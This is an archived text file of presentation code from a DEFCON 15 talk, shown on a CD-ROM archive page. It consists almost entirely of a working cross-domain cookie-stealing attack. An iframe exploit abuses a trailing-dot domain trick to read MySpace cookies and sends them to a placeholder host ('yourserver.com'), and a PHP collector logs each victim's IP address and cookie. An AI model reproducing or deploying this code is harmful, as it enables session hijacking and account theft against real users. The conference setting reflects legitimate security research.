home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
DEFCON 15
/
DefCon15.bin
/
Speakers
/
Deacon
/
Extras
/
CodeForPresentation.txt
< prev
Wrap
Text File
|
2007-06-25
|
455b
|
20 lines
IFrame Code:
<script type="text/javascript">
document.domain = "com.";
</script>
<iframe src="http://home.myspace.com./" onload="stolen = escape(frames[0].document.cookie); document.location='http://yourserver.com/php/cookie.php?cookie='+(stolen)"></iframe>
PHP File Code:
<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$file = fopen('cookielog.txt', 'a');
fwrite($file, $ip . "\n" . $cookie . "\n\n");
?>